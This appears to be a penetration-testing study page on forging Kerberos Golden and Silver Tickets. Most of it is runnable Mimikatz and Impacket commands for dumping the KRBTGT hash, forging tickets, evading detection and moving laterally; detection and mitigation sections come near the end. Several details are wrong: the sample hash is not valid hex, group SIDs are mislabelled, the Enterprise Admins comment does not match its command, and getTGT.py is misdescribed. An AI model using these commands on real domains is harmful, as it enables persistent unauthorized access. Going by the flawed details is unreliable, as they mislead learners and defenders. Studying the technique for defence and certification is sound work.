Domain 6Active Directory AttacksCORE

Golden and Silver Ticket Lateral Movement

Golden and Silver Ticket attacks forge Kerberos tickets to achieve persistent, undetectable lateral movement. Golden Tickets forge TGTs using the KRBTGT hash for domain-wide access. Silver Tickets forge TGS tickets using service account hashes for specific service access, bypassing the DC entirely.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#Golden-Ticket#Silver-Ticket#Kerberos#KRBTGT#TGT#TGS

Golden and Silver Ticket Lateral Movement

Table of Contents

  1. Concept Overview
  2. Kerberos Ticket Fundamentals
  3. Golden Ticket Deep-Dive
  4. Creating Golden Tickets with Mimikatz
  5. Golden Ticket from Kali
  6. Silver Ticket Deep-Dive
  7. Creating Silver Tickets
  8. Golden vs Silver Comparison
  9. Detection Differences
  10. Mitigation Strategies
  11. Common Pitfalls and Troubleshooting
  12. OSCP Exam Tips

Concept Overview

Golden Ticket and Silver Ticket are Kerberos ticket forgery attacks that grant unauthorized access to Active Directory resources by creating counterfeit authentication tickets.

The Core Concept

Kerberos authentication relies on tickets issued by the Domain Controller. If an attacker can forge these tickets, they can authenticate as any user to any service — without the DC ever knowing.

Ticket Type What It Forges What Hash Is Needed Scope DC Involved
Golden Ticket TGT (Ticket-Granting Ticket) KRBTGT NTLM hash Entire domain Yes (visible to DC)
Silver Ticket TGS (Ticket-Granting Service) Service account NTLM hash Specific service only No (bypasses DC)

Why Ticket Forgery Works

Kerberos tickets are encrypted with the service’s secret key. If you know the key, you can:

  1. Create a ticket with arbitrary user identity
  2. Encrypt it with the known key
  3. Present it to the target service
  4. The service decrypts and validates — the ticket looks legitimate

Kerberos Ticket Fundamentals

The Kerberos Authentication Flow

┌──────────┐         ┌──────────┐         ┌──────────┐
│  Client  │         │    DC    │         │ Service  │
│          │         │ (KDC)    │         │ (SMB,    │
│          │         │          │         │  HTTP)   │
└────┬─────┘         └────┬─────┘         └────┬─────┘
     │                     │                    │
     │  [1] AS-REQ         │                    │
     │  (user + password)  │                    │
     │────────────────────>│                    │
     │                     │                    │
     │                     │ Validate password  │
     │                     │ with KRBTGT key    │
     │                     │                    │
     │  [2] AS-REP         │                    │
     │  (contains TGT      │                    │
     │   encrypted with     │                    │
     │   user's key)        │                    │
     │<────────────────────│                    │
     │                     │                    │
     │  [3] TGS-REQ        │                    │
     │  (TGT + service     │                    │
     │   request)          │                    │
     │────────────────────>│                    │
     │                     │                    │
     │                     │ Validate TGT with  │
     │                     │ KRBTGT key         │
     │                     │ Issue TGS          │
     │                     │                    │
     │  [4] TGS-REP        │                    │
     │  (contains TGS      │                    │
     │   encrypted with     │                    │
     │   service's key)     │                    │
     │<────────────────────│                    │
     │                     │                    │
     │  [5] Application    │                    │
     │  (TGS presented     │                    │
     │   to service)       │                    │
     │─────────────────────────────────────────>│
     │                     │                    │
     │                     │         Decrypt    │
     │                     │         with       │
     │                     │         service    │
     │                     │         key        │
     │                     │                    │

Ticket Types

Ticket Issued By Used For Encrypted With
TGT KDC (AS service) Requesting TGS tickets KRBTGT account key
TGS KDC (TGS service) Authenticating to a service Target service account key

What Makes Forgery Possible

Ticket Forgery Requires Forgery Scope
TGT (Golden) KRBTGT hash + domain SID + domain name Any service in the domain
TGS (Silver) Service account hash + domain SID + SPN Only the specific service

Golden Ticket Deep-Dive

What Is a Golden Ticket?

A Golden Ticket is a forged TGT (Ticket-Granting Ticket). With a valid TGT, the attacker can request TGS tickets for any service in the domain — effectively granting domain-wide access.

Why It’s Called “Golden”

  • Ultimate access: Grants access to everything in the domain
  • Persistence: Can be set to last years (or even 40 years)
  • Stealth: The forged user may not even exist in AD
  • Power: Equivalent to Domain Admin (or any group membership you specify)

Required Information

To create a Golden Ticket, you need:

Parameter Description How to Obtain
KRBTGT NTLM hash The KDC’s signing key DCSync, Mimikatz on DC, secretsdump.py
Domain SID Security Identifier of the domain whoami /user, getent, BloodHound
Domain Name FQDN of the domain Known from environment
Username Any username (can be non-existent) Attacker’s choice

Getting the Required Information

KRBTGT Hash

# Method 1: DCSync via secretsdump.py
secretsdump.py -just-dc-user krbtgt domain/admin:password@DC_IP

# Method 2: Mimikatz on DC
lsadump::dcsync /domain:corp.local /user:krbtgt

# Method 3: Full DCSync dump
secretsdump.py -just-dc domain/admin:password@DC_IP
# Look for krbtgt in output

Domain SID

# Method 1: whoami (on any domain-joined machine)
whoami /user
# Output:
# USER INFORMATION
# ----------------
# User Name          SID
# ================   ======================================
# corp\administrator  S-1-5-21-2962871672-1228185789-284441180-500
#                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#                     Domain SID (everything before -500)

# Method 2: PowerShell
(Get-ADDomain).DomainSID.Value
# S-1-5-21-2962871672-1228185789-284441180

# Method 3: From any user's SID
# Take any user SID and remove the last RID
# S-1-5-21-2962871672-1228185789-284441180-1001
# Domain SID = S-1-5-21-2962871672-1228185789-284441180

Domain Name

# Method 1
systeminfo | findstr /B /C:"Domain"

# Method 2
echo %USERDOMAIN%

# Method 3
(Get-ADDomain).DNSRoot
# corp.local

Creating Golden Tickets with Mimikatz

Basic Golden Ticket

kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-2962871672-1228185789-284441180 /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /ptt

Full Parameter Breakdown

kerberos::golden `
  /user:BACKDOOR_USER              # Username for the ticket (can be non-existent) `
  /domain:corp.local               # Target domain (FQDN) `
  /sid:S-1-5-21-XXX-YYY-ZZZ        # Domain SID `
  /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v  # KRBTGT NTLM hash `
  /id:500                           # User RID (500 = Administrator) `
  /startoffset:0                    # Start time offset (minutes) `
  /endin:365                        # Ticket lifetime (days) `
  /renewmax:365                     # Maximum renewal time (days) `
  /ptt                             # Pass-the-Ticket (inject into session)

Parameter Reference

Parameter Description Default Example
/user Username for the ticket krbtgt /user:admin
/domain Target domain (FQDN) Current domain /domain:corp.local
/sid Domain SID — /sid:S-1-5-21-XXX
/krbtgt KRBTGT NTLM hash — /krbtgt:8a2d...
/aes KRBTGT AES key (alternative) — /aes:1234...
/id User RID 500 (Admin) /id:500
/startoffset Start time offset (minutes) 0 /startoffset:-10
/endin Ticket lifetime (days) 365 /endin:365
/renewmax Max renewal (days) 10 /renewmax:365
/target Target DC (FQDN) Current DC /target:dc01.corp.local
/service Service to request TGS for All /service:cifs
/ptt Inject ticket into session No /ptt
/ticket Export to .kirbi file Memory /ticket:golden.kirbi
/groups Additional group SIDs Domain Users /groups:S-1-5-32-544
/sids Additional user SIDs None /sids:S-1-5-21-XXX-1100
/org Organization name — /org:Corp

Advanced: Adding Group Memberships

# Add Domain Admins group (S-1-5-32-544) and Enterprise Admins (S-1-5-21-XXX-519)
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-2962871672-1228185789-284441180 /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /id:500 /groups:S-1-5-32-544,S-1-5-32-551 /ptt

# Common Group SIDs:
# S-1-5-32-544  → Domain Admins
# S-1-5-32-551  → Backup Operators
# S-1-5-32-549  → Account Operators
# S-1-5-32-548  → Group Policy Creator Owners

Advanced: Ticket with Past Start Time

# Start ticket 10 minutes ago (to bypass time-based detection)
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /startoffset:-10 /ptt

Advanced: Export and Reuse

# Export ticket to file
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ticket:golden.kirbi

# Later, inject the exported ticket
kerberos::ptt golden.kirbi

Verification

# Verify the ticket is injected
kerberos::list

# Expected output:
#     Service : krbtgt/CORP.LOCAL
#     User    : backdoor@CORP.LOCAL
#     ...

# Test access
dir \\DC01\C$

Golden Ticket from Kali

Using Impacket getTGT.py

# Create a Golden Ticket using Impacket
getTGT.py -dc-ip DC_IP -hashes :8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v corp.local/administrator

# Set the ccache
export KRB5CCNAME=/tmp/ccache_XXXX

# Verify
klist

# Use for lateral movement
psexec.py -k -no-pass corp.local/administrator@TARGET_IP

Using ticketer.py (More Control)

# Create a custom Golden Ticket
ticketer.py -nthash 8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v -domain-sid S-1-5-21-2962871672-1228185789-284441180 -domain corp.local -user-id 500 backdoor_user

# Output:
# [*] Creating golden ticket for 'backdoor_user'
# [*] Saving to backdoor_user.ccache

# Export and use
export KRB5CCNAME=backdoor_user.ccache
psexec.py -k -no-pass corp.local/backdoor_user@TARGET_IP

ticketer.py Parameters

Parameter Description Example
-nthash KRBTGT NTLM hash -nthash 8a2d...
-domain-sid Domain SID -domain-sid S-1-5-21-XXX
-domain Domain FQDN -domain corp.local
-user-id User RID -user-id 500
-groups Additional group RIDs -groups 544,512
-aesKey AES key (alternative) -aesKey 1234...
-start-offset Start offset (minutes) -start-offset -10
-end-life Ticket lifetime -end-life 365
-ptt Inject into current session -ptt

Silver Ticket Deep-Dive

What Is a Silver Ticket?

A Silver Ticket is a forged TGS (Ticket-Granting Service) ticket. Unlike a Golden Ticket (forged TGT), a Silver Ticket grants access to only one specific service on one specific target.

Key Differences from Golden Ticket

Aspect Golden Ticket Silver Ticket
Ticket Type Forged TGT Forged TGS
Hash Needed KRBTGT hash Service account hash
DC Contact Yes (TGS request visible to DC) No (bypasses DC entirely)
Scope Entire domain Single service on single host
Detection Visible to DC (Event 4769) Not visible to DC
Stealth Moderate Higher
Flexibility Access any service Access only specified service

Why Silver Tickets Are Stealthier

Golden Ticket Flow:
Client → [TGS Request to DC with forged TGT] → DC issues TGS → Client → Service
              ↑
         DC SEES THIS (Event 4769)

Silver Ticket Flow:
Client → [Forged TGS presented directly] → Service
              ↑
         DC IS NEVER CONTACTED

Required Information for Silver Ticket

Parameter Description How to Obtain
Service Account NTLM Hash Hash of the account running the service Mimikatz, DCSync, password dump
Domain SID Domain SID whoami /user
Domain Name Domain FQDN Known
SPN Service Principal Name of target setspn -Q */hostname
Target Service Name NetBIOS name of the service Known

Common SPNs and Services

Service Port SPN Format Example
CIFS (SMB) 445 cifs/hostname.domain.com cifs/fileserver.corp.local
HTTP 80/443 HTTP/hostname.domain.com HTTP/webserver.corp.local
MSSQL 1433 MSSQLSvc/hostname.domain.com:1433 MSSQLSvc/db.corp.local:1433
LDAP 389/636 ldap/hostname.domain.com ldap/dc01.corp.local
WinRM 5985/5986 WSMAN/hostname.domain.com WSMAN/server.corp.local
RDP 3389 TERMSRV/hostname.domain.com TERMSRV/desktop.corp.local
Kerberos 88 krbtgt/domain.com krbtgt/corp.local

Finding SPNs

# On Windows
setspn -Q */fileserver.corp.local

# Output:
# Registered ServicePrincipalNames for CN=FILESERVER,OU=Servers,DC=corp,DC=local:
#     cifs/fileserver.corp.local
#     cifs/fileserver

# Find all SPNs in domain
setspn -T corp.local -Q */*
# On Kali with Impacket
getuserspns.py corp.local/admin:password

# Or with CrackMapExec
crackmapexec smb DC_IP -u admin -p pass --spns

Creating Silver Tickets

Mimikatz — Basic Silver Ticket

kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-XXX /rc4:SERVICE_HASH /target:fileserver.corp.local /service:cifs /ptt

Note: Despite the command being kerberos::golden, Mimikatz creates a Silver Ticket when you specify /target and /service instead of /krbtgt.

Mimikatz — Full Silver Ticket

kerberos::golden `
  /user:attacker `
  /domain:corp.local `
  /sid:S-1-5-21-2962871672-1228185789-284441180 `
  /rc4:9f4e8a2b3c1d5e6f7a8b9c0d1e2f3a4b `
  /target:fileserver.corp.local `
  /service:cifs `
  /startoffset:0 `
  /endin:365 `
  /renewmax:365 `
  /ptt

Silver Ticket for CIFS (SMB)

# Access SMB shares on fileserver
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-XXX /rc4:SERVICE_HASH /target:fileserver.corp.local /service:cifs /ptt

# Verify
dir \\fileserver.corp.local\C$

Silver Ticket for HTTP

# Access web application
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-XXX /rc4:SERVICE_HASH /target:webserver.corp.local /service:http /ptt

# Access via browser or curl
# The forged ticket will be used automatically

Silver Ticket for MSSQL

# Access SQL Server
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-XXX /rc4:SERVICE_HASH /target:dbserver.corp.local /service:mssqlsvc /ptt

# Connect via sqlcmd
sqlcmd -S dbserver.corp.local -E

Kali — Silver Ticket with ticketer.py

# Create Silver Ticket for CIFS
ticketer.py -nthash 9f4e8a2b3c1d5e6f7a8b9c0d1e2f3a4b -spn cifs/fileserver.corp.local -domain-sid S-1-5-21-XXX -domain corp.local attacker

# Output:
# [*] Creating silver ticket for 'cifs/fileserver.corp.local'
# [*] Saving to attacker.ccache

# Export and use
export KRB5CCNAME=attacker.ccache
psexec.py -k -no-pass corp.local/attacker@fileserver.corp.local

Kali — Silver Ticket for MSSQL

ticketer.py -nthash SERVICE_HASH -spn MSSQLSvc/dbserver.corp.local:1433 -domain-sid S-1-5-21-XXX -domain corp.local attacker

export KRB5CCNAME=attacker.ccache
mssqlclient.py -k corp.local/attacker@dbserver.corp.local

Golden vs Silver Comparison

Comprehensive Comparison Table

Feature Golden Ticket Silver Ticket
Ticket Type Forged TGT Forged TGS
Required Hash KRBTGT NTLM hash Service account NTLM hash
Required Info KRBTGT hash, Domain SID, Domain Name Service hash, Domain SID, Domain Name, SPN, Target
Scope Entire domain (all services) Single service on single host
DC Contact Yes — TGS requests go through DC No — bypasses DC entirely
DC Visibility DC sees TGS requests (Event 4769) DC sees nothing
Target Visibility Target sees TGS presentation Target sees TGS presentation
Stealth Level Moderate High
Persistence Long (configurable, up to 40 years) Long (configurable)
Flexibility Access any service in domain Only specified service
Detection on DC Event 4769 (TGS request) No events on DC
Detection on Target Event 4624 (logon) Event 4624 (logon)
User Account Can be non-existent Can be non-existent
Group Membership Can specify any groups N/A (no group evaluation)
Best Use Case Full domain compromise Targeted service access, stealth

When to Use Each

Scenario Recommended Ticket Reason
Full domain compromise needed Golden Access everything
Need to access specific service only Silver More targeted, stealthier
DC monitoring is heavy Silver Bypasses DC detection
You have KRBTGT hash Golden You already have what you need
You have service account hash only Silver Only option available
Need to pivot to multiple services Golden One ticket, all services
Maximum stealth required Silver DC never sees the activity

Detection Differences

Golden Ticket Detection

Event ID 4769 — Kerberos Service Ticket Request

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4769

Key indicators for Golden Ticket:

Field Golden Ticket Indicator Why
Service Name krbtgt/CORP.LOCAL TGS request using TGT
Ticket Encryption Type RC4 in AES-enforced domain Anomalous encryption
Ticket Options Unusual flags Forged tickets may have odd flags
Client Time Outside normal hours Anomalous timing
Client Address Non-standard source Unexpected client

Golden Ticket-Specific Indicators

Indicator Description
No Event 4768 before 4769 Golden Ticket skips AS-REQ (no TGT request)
User not in AD Forged user doesn’t exist in directory
Ticket lifetime too long Default TGT = 10 hours; Golden = years
RC4 encryption If domain enforces AES, RC4 is suspicious
No pre-authentication Some Golden Tickets skip pre-auth

Detection Query (Splunk)

index=windows EventCode=4769
| search Service_Name="krbtgt/*"
| search NOT [inputlookup normal_tgs_requests.csv]
| stats count by target_user_name, client_address

Silver Ticket Detection

Event ID 4624 — Logon Success

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4624
Logon Type: 3 (Network) or 9 (New Credentials)

Key indicators for Silver Ticket:

Field Silver Ticket Indicator Why
Logon Type 3 (Network) Kerberos network logon
Authentication Package Kerberos Kerberos auth used
TargetUserName Non-existent user Forged user may not exist
No corresponding 4769 on DC Critical indicator DC never issued this TGS

Silver Ticket-Specific Indicators

Indicator Description
4624 without 4769 Logon succeeded but DC never issued TGS
Service-specific only Access limited to one service
No DC involvement All activity on target, nothing on DC
Correlation gap Target shows auth, DC shows nothing

Detection Strategy

Silver Ticket Detection = 
  Event 4624 on target (logon success)
  MINUS
  Event 4769 on DC (TGS issuance)
  
If 4624 exists but no matching 4769 → possible Silver Ticket

Detection Comparison Summary

Detection Method Golden Ticket Silver Ticket
Event 4768 (TGT request) May be absent Always absent
Event 4769 (TGS request) Present on DC Absent on DC
Event 4624 (Logon) Present on target Present on target
DC correlation TGS visible No DC activity
Ticket anomaly tools Detectable Detectable on target
KRBTGT password change Invalidates ticket No effect

Mitigation Strategies

1. KRBTGT Password Reset (CRITICAL)

Resetting the KRBTGT password invalidates ALL Golden Tickets.

# Method 1: nltest
nltest /set_srs_password

# Method 2: Set-ADAccountPassword
Import-Module ActiveDirectory
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "NewComplexP@ssw0rd!" -AsPlainText -Force)

# Method 3: ktpass
ktpass -princ krbtgt/CORP.LOCAL@CORP.LOCAL -pass NewComplexP@ssw0rd! -mapUser krbtgt -crypto All -ptype KRB5_NT_PRINCIPAL

The Twice-Reset Rule

You must reset the KRBTGT password TWICE to ensure complete invalidation:

Step 1: Reset KRBTGT password (First reset)
  → Old TGTs still valid until they expire (default 10 hours)
  → New TGTs use new key

Step 2: Wait for old TGT lifetime (at least 10 hours, preferably 24-48 hours)

Step 3: Reset KRBTGT password again (Second reset)
  → Any remaining old TGTs are now invalid
  → All active TGTs must use the newest key

Why twice?

  • First reset: New key issued, but old TGTs remain valid until expiration
  • Old TGTs can still be used to request TGS tickets
  • Second reset: Ensures no old TGTs can function

2. Implement gMSA (Group Managed Service Accounts)

gMSA passwords are automatically rotated by the domain, making Silver Tickets short-lived:

# Create gMSA
New-ADServiceAccount -Name "svc_webapp" -DNSHostName "webapp.corp.local" -PrincipalsAllowedToRetrievePassword "WEBSERVER$"

# Install on target server
Install-ADServiceAccount -Identity "svc_webapp"

Benefits:

  • 30-day automatic password rotation
  • No manual password management
  • Silver Tickets become invalid after password rotation

3. Ticket Anomaly Monitoring

# Monitor for anomalous tickets
# - Unusually long ticket lifetimes
# - RC4 encryption in AES-enforced domains
# - TGS requests without preceding TGT requests
# - Logons without DC-side TGS issuance

4. Enforce AES Encryption

# Group Policy: Remove RC4 from allowed encryption types
# Computer Configuration → Policies → Windows Settings →
# Security Settings → Local Policies → Security Options
# Network security: Configure encryption types allowed for Kerberos
# Set to: AES-128, AES-256

5. Monitor for Non-Existent Users

# Alert on logons by users not in AD
index=windows EventCode=4624
| search NOT [| inputlookup ad_users.csv]
| stats count by TargetUserName, TargetDomainName

6. Implement Kerberos Armoring

Use channel binding and Kerberos armoring to prevent ticket replay attacks.


Common Pitfalls and Troubleshooting

Pitfall 1: Wrong SID

# WRONG - Using computer SID instead of domain SID
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX-1105 /krbtgt:HASH /ptt

# CORRECT - Using domain SID (no computer RID)
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ptt

How to verify:

whoami /user
# S-1-5-21-2962871672-1228185789-284441180-500
# Domain SID = S-1-5-21-2962871672-1228185789-284441180 (remove -500)

Pitfall 2: Wrong KRBTGT Hash

# Make sure you're using the NT (NTLM) hash, not LM
# DCSync output format: DOMAIN\user:LM:NT

# CORP\krbtgt:aad3b435b51404eeaad3b435b51404ee:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v
#                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#                     LM (always this value = empty)  NT (USE THIS ONE)

# Use the NT hash:
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /ptt

Pitfall 3: Silver Ticket — Wrong SPN

# WRONG - Using hostname instead of FQDN
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /rc4:HASH /target:fileserver /service:cifs /ptt

# CORRECT - Using FQDN
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /rc4:HASH /target:fileserver.corp.local /service:cifs /ptt

Pitfall 4: Silver Ticket — Wrong Service Account Hash

# You need the hash of the account RUNNING THE SERVICE, not any DA account
# Find the service account:
wmic service where "name='Microsoft iSCSI Initiator Service'" get name,pathname,startmode

# Or check the SPN's associated account
setspn -Q cifs/fileserver.corp.local

Pitfall 5: Time Synchronization

# Kerberos requires time sync within 5 minutes
# If ticket start time is in the future, it won't work

# Use /startoffset to adjust
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /startoffset:-5 /ptt

Pitfall 6: Ticket Not Injected

# Verify injection
kerberos::list

# If empty, re-inject
kerberos::ptt exported_ticket.kirbi

# For Rubeus
Rubeus.exe triage

Pitfall 7: Domain Name Format

# Use FQDN for /domain
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ptt

# NOT NetBIOS name
# kerberos::golden /user:admin /domain:CORP /sid:...  ← May not work

OSCP Exam Tips

1. Golden Ticket — The Ultimate Privesc

┌──────────────────────────────────────────────────────────┐
│              GOLDEN TICKET QUICK REFERENCE                │
├──────────────────────────────────────────────────────────┤
│                                                          │
│  PREREQUISITES:                                           │
│  [ ] KRBTGT NTLM hash (from DCSync)                      │
│  [ ] Domain SID (from whoami /user)                      │
│  [ ] Domain FQDN                                          │
│                                                          │
│  MIMIKATZ COMMAND:                                       │
│  kerberos::golden /user:BACKDOOR /domain:corp.local      │
│    /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH /id:500 /ptt   │
│                                                          │
│  KALI COMMAND:                                           │
│  getTGT.py -hashes :KRBTGT_HASH corp.local/admin         │
│  export KRB5CCNAME=/tmp/ccache_XXXX                      │
│  psexec.py -k -no-pass corp.local/admin@TARGET           │
│                                                          │
│  VERIFY:                                                 │
│  Windows: kerberos::list  OR  Rubeus.exe triage          │
│  Kali:    klist                                           │
│                                                          │
└──────────────────────────────────────────────────────────┘

2. Silver Ticket — When You Can’t Get KRBTGT

Use Silver Ticket when:

  • You have a service account hash but not KRBTGT
  • You need stealth (DC never sees the activity)
  • You only need access to one specific service

3. Common OSCP Ticket Scenarios

Scenario Action
You have KRBTGT hash Create Golden Ticket
You have IIS_APPPOOL hash Create Silver Ticket for HTTP
You have MSSQL service hash Create Silver Ticket for MSSQLSvc
You need full domain access Golden Ticket
You need SMB access to one server Silver Ticket for CIFS
Maximum stealth needed Silver Ticket

4. KRBTGT Reset in the Report

Always recommend KRBTGT password reset (twice!) in your penetration test report when Golden Ticket capability is demonstrated.

5. Getting the Domain SID

# Quick method on Windows
whoami /user
# Remove the last segment (-500, -1000, etc.)

# Example:
# S-1-5-21-2962871672-1228185789-284441180-500
# Domain SID = S-1-5-21-2962871672-1228185789-284441180

6. Ticket Export and Transfer

# Export ticket for transfer to another machine
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:HASH /ticket:golden.kirbi

# Transfer and inject on another machine
kerberos::ptt golden.kirbi

7. Remember: Silver Ticket Uses kerberos::golden Too

In Mimikatz, both Golden and Silver tickets use kerberos::golden. The difference is:

  • Golden: /krbtgt:HASH (no /target or /service)
  • Silver: /rc4:SERVICE_HASH /target:HOST /service:SPN_TYPE

Summary

Golden and Silver Ticket attacks represent the pinnacle of Kerberos-based lateral movement:

Golden Ticket

  • Requires: KRBTGT hash, Domain SID, Domain Name
  • Grants: Domain-wide access to all services
  • Detection: Visible to DC (Event 4769)
  • Mitigation: KRBTGT password reset (twice!)

Silver Ticket

  • Requires: Service account hash, Domain SID, Domain Name, SPN, Target
  • Grants: Access to specific service only
  • Detection: Not visible to DC (stealthier)
  • Mitigation: gMSA, ticket anomaly monitoring

Key takeaways:

  • Golden Ticket = forged TGT = domain-wide access = DC visible
  • Silver Ticket = forged TGS = single service = DC bypassed
  • KRBTGT password reset must be done twice with waiting period
  • gMSA prevents long-lived Silver Tickets via automatic rotation
  • Event 4624 without Event 4769 = possible Silver Ticket
  • Always verify ticket injection with kerberos::list or klist